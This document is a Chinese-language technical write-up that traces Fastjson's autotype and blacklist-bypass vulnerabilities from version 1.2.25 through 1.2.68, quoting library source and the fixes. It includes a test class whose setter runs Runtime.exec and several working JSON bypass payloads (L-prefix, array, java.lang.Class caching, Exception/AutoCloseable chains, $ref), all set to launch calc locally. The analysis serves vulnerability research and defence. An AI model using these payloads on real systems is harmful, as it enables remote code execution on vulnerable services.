前言

只知道 Fastjson 的大致反序列化机制,所以打算以两个 autotype 绕过漏洞为基础深入读一读源码。

其实 Fastjson 反序列化漏洞的利用限制还是有的,除了对 Fastjson 本身的版本有要求,还对其他依赖、JDK 版本等有要求,因为 Java 中能实现 RCE 的方法其实不多:反射、JNDI、TemplatesImpl 等。


环境搭建

用的是 SpringBoot 搭建 web 服务,然后 maven 下载 Fastjson 依赖,再写一个方便测试的类(因为 JDK 版本较高,JNDI 无法触发):

package com.example.json.evil;

import java.io.IOException;

public class Evil {
    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

为了复现黑名单绕过,还需要手动加入黑名单:

ParserConfig.getGlobalInstance().addDeny("com.example.json.evil");

Fastjson 反序列化漏洞

因为要反序列化成对象,所以给其属性赋值的时候,在私有属性等情况下,就需要访问他们的 getter 和 setter。

而如果这些 getter 和 setter 中存在危险操作,就会导致漏洞。

autotype

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

但是其实从源码实现来看,即使没有开启 autoype,也有一些情况下是可以反序列化出对象来的,具体的情况在后面再分析。

远古版本 Fastjson < 1.2.10

autotype 默认开启,没有反序列化黑名单。

Fastjson < 1.2.25

autotype 默认开启,反序列化黑名单中只有一个不是用于漏洞利用的类 java.lang.Thread,可以为所欲为。

Fastjson 1.2.25

autotype 默认关闭,增加了 checkAutoType 函数,反序列化对象之前要经过 checkAutoType 函数的检验。

而且增加了白名单和黑名单,以白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测黑名单与危险类。

1.2.25 <= Fastjson <= 1.2.41 checkAutoType 黑名单绕过

不断地增加黑名单,还有某些逻辑漏洞的修复。

这期间发生了一次 checkAutoType 黑名单绕过,我们先来看看 1.2.41 版本下 checkAutoType 的黑名单校验:

if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            if (clazz != null) {
                    return clazz;
            }
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

可以看到对类名的校验用的是 startsWith,所以只要在前面加一些不会影响到类加载的字符就能绕过黑名单的校验。

而往下看到加载类时使用的 TypeUtils.loadClass 函数:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    if(className == null || className.length() == 0){
        return null;
    }
    Class<?> clazz = mappings.get(className);
    if(clazz != null){
        return clazz;
    }
    if(className.charAt(0) == '['){
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
    if(className.startsWith("L") && className.endsWith(";")){
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }
    ...
}

可以看到当类名以 L 开头以 ; 结尾时,会将这两个字符去掉然后重新调用 loadClass 进行加载,所以不会影响类的加载。

而在类名前面加上 L 之后就不会触发 startsWith 的校验,也就绕过了黑名单,例如:

{"@type":"Lcom.example.json.evil.Evil;","cmd":"calc"}

至于为什么会有这种奇怪的处理,L 和 ; 这一对字符其实是 JVM 字节码中用来表示类名的:https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.3 ,Fastjson 对这种类名的表达方式也做了处理。

Fastjson 1.2.42 checkAutoType 黑名单绕过

黑白名单改成了十进制的 HashCode,无法直观地看出类名包名,想要找出就需要本地有很多依赖然后跑脚本计算 HashCode 了。

而与此同时,发生了第二次 checkAutoType 黑名单绕过(其实就是上一次修复不到位),看看 1.2.42 版本下的 checkAutoType 的黑名单校验:

if ((((BASIC
       ^ className.charAt(0))
      * PRIME)
     ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    className = className.substring(1, className.length() - 1);
}
...
if (autoTypeSupport || expectClass != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        hash ^= className.charAt(i);
        hash *= PRIME;
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

上面一段代码对第一个和最后一个字符做了校验,虽然写成了 hash 的样子让人看不懂,但是调试一遍就能知道这里就是去掉了 L 和 ; 这一对字符,用于修补前面的黑名单绕过。

但是仔细一思考,他只做了一次去除,那双写不就饶过了吗,例如:

{"@type":"LLcom.example.json.evil.Evil;;","cmd":"calc"}

Fastjson 1.2.43 checkAutoType 黑名单绕过

发生了第三次 checkAutoType 黑名单绕过(跟上一次相比换了个方式),看看 1.2.43 版本下的 checkAutoType,黑名单校验就不看了,没有什么变化,看看对 L 和 ; 绕过的处理:

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

简单来说就是做了两次套娃校验,看到一对就去掉,看到两对就直接抛出异常,所以 L 和 ; 这对字符已经无法用来绕过了。

但是除了这对字节码字符,loadClass 还对字节码中的数组,即 [ 做了特殊处理:

if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

当序列化数据为一个对象数组的时候,最前面会是一个 L 字符,所以也可以用来绕过,例如:

{"@type":"[com.example.json.evil.Evil"[{"cmd":"calc"}]

Fastjson 1.2.44 checkAutoType 黑名单绕过修复

合并了对上面提到的绕过方式的修复:

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
    throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    throw new JSONException("autoType is not support. " + typeName);
}

[ 开头或者 L 开头 ; 结尾都会抛出异常,上述的绕过方式都不好使了。

1.2.44 <= Fastjson <= 1.2.46

增加黑名单。

Fastjson 1.2.47 autotype 绕过

这个版本下发生了第一次 autotype 的绕过,在没有开启 autotype 的情况下也可以像远古版本一样为所欲为。

简单先理一遍 checkAutoType 的处理顺序:

  1. 之前黑名单绕过的修复
  2. 开启 autoTypeSupport 或者 expectClass 不为空时的黑白名单(白名单直接返回)
  3. 尝试从缓存 Map 中加载类,若成功且无 expectClass 时可以直接返回
  4. 尝试从 deserializers 中加载类,若成功且无 expectClass 时可以直接返回
  5. 未开启 autoTypeSupport 时的黑白名单
  6. 加载类
  7. expectClass 校验和注解校验,如果通过则返回
  8. 未开启 autoTypeSupport 则抛出异常

我们可以看到,在未开启 autoTypeSupport 时,如果我们能够向缓存 Map 中写入一个恶意类,那我们就可以绕过 autotype 反序列化任意一个类。而在开启 autoTypeSupport 的情况下,反而会被前面的黑名单校验所拦截。

观察缓存 Map 的写入,可以发现能控制得写入只有 TypeUtils 类得 loadClass 函数一个地方:

try{
    if(classLoader != null){
        clazz = classLoader.loadClass(className);
        if (cache) {
            mappings.put(className, clazz);
        }
        return clazz;
    }
} catch(Throwable e){
    e.printStackTrace();
    // skip
}
try{
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if(contextClassLoader != null && contextClassLoader != classLoader){
        clazz = contextClassLoader.loadClass(className);
        if (cache) {
            mappings.put(className, clazz);
        }
        return clazz;
    }
} catch(Throwable e){
    // skip
}

在参数 cache 为 true 的情况下,会对加载的类进行缓存。

全局搜索 TypeUtils.loadClass 可以看到其他地方的可控类加载操作同样只有一个地方:MiscCodec 类的 deserialze 函数:

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

这里调用的 loadClass 为:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, true);
}

所以 cache 默认为 true,会将加载到的类加入缓存,以后反序列化的时候就会在黑名单校验之前返回加载的类。加载类本来没有什么问题,因为不会触发 setter 和 getter,但是加入缓存就导致了这次 autotype 的绕过。

clazz 和 strVal 各是什么数据暂且不提,我们可以看到 MiscCodec 类实现了 ObjectDeserializer 接口,很明显是一个反序列化器。

观察 parseObject 的调用栈,在 checkAutoType 加载类结束之后,会获取反序列化器然后进行反序列化,将 JSON 中的数据还原到加载到的类中:

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
        && deserClass != JavaBeanDeserializer.class
        && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;

config.getDeserializer 是从 ParserConfig 中获取的,类与反序列化器的对应关系可以看其 initDeserializers 函数,比如:

deserializers.put(Class.class, MiscCodec.instance);

如果我们输入的 @type 为 java.lang.Class,我们就可以进入 MiscCodec 类的 deserialze 函数,而同时由于 Class 存在于 deserializers 中,换句话说也可以当作一个特别的白名单类,是可以直接加载的。

回头看 deserialze 函数,clazz 来自 @type,而 strVal 来自 val,所以:

{"payload1":{"@type":"java.lang.Class","val":"com.example.json.evil.Evil"},"payload2":{"@type":"com.example.json.evil.Evil","cmd":"calc"}}

至于为什么在 @type 为 java.lang.Class 的情况下会加载 val 中的类,可以从 MiscCodec 这个反序列化器上寻找答案。

跟一般类中会包含一些属性,所以使用的反序列化器会调用 setter 来进行赋值等操作不同,这个反序列化器中的类比较特殊,我们简单看几个其他的类的反序列化操作:

if (clazz == UUID.class) {
    return (T) UUID.fromString(strVal);
}

if (clazz == URI.class) {
    return (T) URI.create(strVal);
}

if (clazz == URL.class) {
    try {
        return (T) new URL(strVal);
    } catch (MalformedURLException e) {
        throw new JSONException("create url error", e);
    }
}

if (clazz == Pattern.class) {
    return (T) Pattern.compile(strVal);
}

if (clazz == Locale.class) {
    return (T) TypeUtils.toLocale(strVal);
}

if (clazz == SimpleDateFormat.class) {
    SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
    dateFormat.setTimeZone(lexer.getTimeZone());
    return (T) dateFormat;
}

可以看出,这些类都是 Java 中代表某种信息的类(UUID、URI、时间、地域、类信息等),对于这些类来说,他们的信息在序列化和反序列化中一般通过一个字符串就可以表达(UUID、URI、固定格式的时间地域、类名等),序列化时将这些信息写成字符串,反序列化时通过这个字符串进行还原(Class 要将类名还原成某个具体类的描述对象,所以要加载那个类)。我们观察这个反序列化器的序列化函数 write,可以看到 SimpleDateFormat 类的序列化过程中写入了一个 val 键:

if (objClass == SimpleDateFormat.class) {
    String pattern = ((SimpleDateFormat) object).toPattern();

    if (out.isEnabled(SerializerFeature.WriteClassName)) {
        if (object.getClass() != fieldType) {
            out.write('{');
            out.writeFieldName(JSON.DEFAULT_TYPE_KEY);
            serializer.write(object.getClass().getName());
            out.writeFieldValue(',', "val", pattern);
            out.write('}');
            return;
        }
    }

    strVal = pattern;
}

而因为这些类都使用同一个反序列化器的反序列化函数,所以为了统一,这些类的反序列化取值就可以从 val 中取。

Fastjson 1.2.47 autotype 绕过修复

修改了 MiscCodec 反序列化器处理 Class 的代码:

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

不将该类加入缓存。

1.2.48 <= Fastjson <= 1.2.67

增加黑名单。

Fastjson 1.2.67 autotype 绕过

简单总结一下在 autoTypeSupport 未开启时能加载到并返回的类:

  • acceptHashCodes 中的数组类型用户白名单,满足条件直接返回:

    (!internalWhite) && (autoTypeSupport || expectClassFlag)
    
  • TypeUtils.mappings 中的内部白名单类(包括 Exception、UUID 等类),符合 expectClass 才能返回

  • deserializers 中的白名单(包括 Class、String 等基础类),符合 expectClass 才能返回

  • typeMapping 中存在的类(默认为空,相当于一个哈希表类型的用户白名单,可以从一个 typeName 映射到某一个类),符合 expectClass 才能返回

  • internalWhite 中的内部白名单,符合 expectClass 才能返回

  • acceptHashCodes 中的数组类型用户白名单,满足条件直接返回:

    !autoTypeSupport
    
  • 加载类要满足条件:

    autoTypeSupport || jsonType || expectClassFlag
    

    返回类要满足条件:

    if (jsonType) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    }
    
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
        || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
        || javax.sql.RowSet.class.isAssignableFrom(clazz) //
       ) {
        throw new JSONException("autoType is not support. " + typeName);
    }
    
    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }
    

大致就以上级几种情况,而其中存在利用可能的就更少了,基本上只有最后一条,满足 jsonType 或者 expectClassFlag。

先看 jsonType:

String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();
}

其实就是判断该类中是否有 JSONType 注解,存在该注解的类可以在 autoTypeSupport 未开启的情况下反序列化。这种做法很好理解,因为有这个注解的类,肯定是用户自己实现的可以进行 JSON 序列化反序列化的类,属于可以信任的白名单类,所以这个也不可控了。

再看 expectClassFlag,这个版本的 checkAutoType 中的 expectClassFlag 实际上是个 expectClass 的黑名单一样的东西:

final boolean expectClassFlag;
if (expectClass == null) {
    expectClassFlag = false;
} else {
    if (expectClass == Object.class
            || expectClass == Serializable.class
            || expectClass == Cloneable.class
            || expectClass == Closeable.class
            || expectClass == EventListener.class
            || expectClass == Iterable.class
            || expectClass == Collection.class
        ) {
        expectClassFlag = false;
    } else {
        expectClassFlag = true;
    }
}

当 expectClassFlag 为 true 时,可以在未开启 autoTypeSupport 的情况下加载类。

我们都知道 expectClass 可以来自 parseObject 解析函数的第二个参数,但是这个参数是不可控的,我们还需要寻找其他地方输入的 expectClass 才有可能实现绕过。

全局搜索 checkAutoType 的调用,且第二个参数不为 null,可以找到三处调用,第一处位于 ThrowableDeserializer 的 deserialze 函数:

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
    } else {
        throw new JSONException("syntax error");
    }
    lexer.nextToken(JSONToken.COMMA);
}

可以看到我们可以通过指定第二个 @type 来触发这里的 checkAutoType(第一个 @type 用于获取该反序列化器)。

我们再看看如何进入 ThrowableDeserializer 这个反序列化器,代码在 ParserConfig 类的 getDeserializer 函数:

else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);
} 
...
else {
    deserializer = createJavaBeanDeserializer(clazz, type);
}

可以看到第一个 @type 需要为 Throwable 的子类,翻一翻 TypeUtils.mappings,里面正好有一个类 Exception,所以可以用这个类作为跳板完成攻击,例如:

{"@type":"java.lang.Exception","@type":"com.example.json.evil.Evil","cmd":"calc"}

因为传入了 expectClass,所以第二个类也需要是 Throwable 的子类,我这里给测试类继承了 Exception。

第二处位于 JavaBeanDeserializer 类的 deserialzeArrayMapping 函数,要进入这个反序列化器就需要在调用 getDeserializer 获取反序列化器的时候不满足所有条件,进入到最后的 createJavaBeanDeserializer 函数调用中,翻一翻,里面也正好有一个接口 AutoCloseable 可以利用。再看怎么进入 deserialzeArrayMapping 函数,在 deserialze 函数中:

if (token == JSONToken.LBRACKET) {
    final int mask = Feature.SupportArrayToBean.mask;
    boolean isSupportArrayToBean = (beanInfo.parserFeatures & mask) != 0 //
                                    || lexer.isEnabled(Feature.SupportArrayToBean) //
                                    || (features & mask) != 0
                                    ;
    if (isSupportArrayToBean) {
        return deserialzeArrayMapping(parser, type, fieldName, object);
    }
}

需要一个中括号,还需要 isSupportArrayToBean 为 true,而这个变量需要 parseObject 解析时传入一个 Feature.SupportArrayToBean 参数,或者写入注解:https://www.ctolib.com/docs-FastJson-c-fastjson-beantoarray.html ,所以这条路是走不通的。

第三处位于 JavaBeanDeserializer 类的 deserialze 函数:

if ((typeKey != null && typeKey.equals(key))
    || JSON.DEFAULT_TYPE_KEY == key) {
    lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String typeName = lexer.stringVal();
        lexer.nextToken(JSONToken.COMMA);

        if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
            if (lexer.token() == JSONToken.RBRACE) {
                lexer.nextToken();
                break;
            }
            continue;
        }


        ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
        Class<?> userType = null;

        if (deserializer == null) {
            Class<?> expectClass = TypeUtils.getClass(type);
            userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
            deserializer = parser.getConfig().getDeserializer(userType);
        }
        ...
    }
}

跟 Throwable 的一样,需要两个 @type,第二个同样需要实现 AutoCloseable 接口,例如:

{"@type":"java.lang.AutoCloseable","@type":"com.example.json.evil.Evil","cmd":"calc"}

至于为什么 expectClass 可以绕过 autotype,因为 expectClass 也是一种用户白名单,这次的问题在于内部可使用的 expectClass 子类较多,里面存在可以利用的危险类。

Fastjson 1.2.68 autotype 绕过修复

加入了 safemode,当 safemode 开启时,checkAutoType 会直接抛出异常:

final int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode
    || (features & safeModeMask) != 0
    || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
    throw new JSONException("safeMode not support autoType : " + typeName);
}

@type 这个特殊键完全无用了。

增加黑名单,还减掉了一个未知的黑名单。

题外话

当使用 parseObject 解析 JSON,且传入了 expectClass 时,类加载完成后会有这样一个验证:

if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
        return clazz;
    } else {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
}

用于校验 @type 里面写的和 parseObject 里面写的 expectClass 类之间是不是父子类、接口与其实现之间的关系,而一般开发者写入代码的 expectClass 会是自写类,所以在这种情况下,基于 setter 和 getter 的 Fastjson 利用链基本是无法触发的。想要利用的话,要不该类可以直接利用或连接到其他函数,要不 expectClass 是某一个子类/实现中存在危险操作的类/接口(Throwable、AutoCloseable)。

题外话 2

关于 setter 和 getter 的调用,可以观察 JavaBeaninfo 类的 bulid 函数,这里会获取 getter 和 setter 然后加入 fieldList,加入 setter 的代码入下:

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                    annotation, fieldAnnotation, null, genericInfo));

setter 自然是都会调用的,主要看 getter 的调用要求:

// getter 名长度
if (methodName.length() < 4) {
    continue;
}
// getter 不为静态
if (Modifier.isStatic(method.getModifiers())) {
    continue;
}
// getter 以 get 开头,且第四位字符为大写
if (builderClass == null && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {

}
// getter 无参数
if (method.getParameterTypes().length != 0) {
    continue;
}
// 返回类型
if (Collection.class.isAssignableFrom(method.getReturnType()) //
    || Map.class.isAssignableFrom(method.getReturnType()) //
    || AtomicBoolean.class == method.getReturnType() //
    || AtomicInteger.class == method.getReturnType() //
    || AtomicLong.class == method.getReturnType() //
   ) {

}
// 没有 setter
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field != null) {
    JSONField fieldAnnotation = TypeUtils.getAnnotation(field, JSONField.class);
    if (fieldAnnotation != null && !fieldAnnotation.deserialize()) {
        continue;
    }
}

实际上当 parseObject 没有传入 expectClass 时,getter 会全部被调用,这个时候的返回值为 JSONObject,parse 解析完成后还会调用 toJSON:

Object obj = parse(text);
if (obj instanceof JSONObject) {
    return (JSONObject) obj;
}

try {
    return (JSONObject) JSON.toJSON(obj);
}

而 toJSON 会获取所有的 getter:

// toJSON
try {
    Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
    for (Map.Entry<String, Object> entry : values.entrySet()) {
        json.put(entry.getKey(), toJSON(entry.getValue(), config));
    }
}
...
// getFieldValuesMap
for (FieldSerializer getter : sortedGetters) {
    ...

    if (getter.fieldInfo.unwrapped) {
        Object unwrappedValue = getter.getPropertyValue(object);
        Object map1 = JSON.toJSON(unwrappedValue);
        if (map1 instanceof Map) {
            map.putAll((Map) map1);
        } else {
            map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
        }
    } else {
        map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
    }
}

return map;

放入 map 时会调用 getPropertyValue:

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
    Object propertyValue =  fieldInfo.get(object);
    ...
}
...
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

反射调用 getter。

题外话 3

使用 $ref 扩展攻击面,在使用 parse 解析时也可以调用任意 getter:

{"@type":"java.lang.AutoCloseable","@type":"com.example.json.evil.Evil","cmd":"calc","result":{"$ref":"$.result"}}

参考文章:

Fastjson 反序列化漏洞史 / 历代 payload

Fastjson 1.2.66 的 4 个 payload

触发漏洞需要的条件(autoTypeSupport、parse 与 parseObject)

Fastjson 的 getter、setter 调用

发现者的 Fastjson 1.2.68 autotype bypass挖掘思路

Fastjson 1.2.68 分析2

Fastjson 1.2.68 autotype 一个不常见的 bypass poc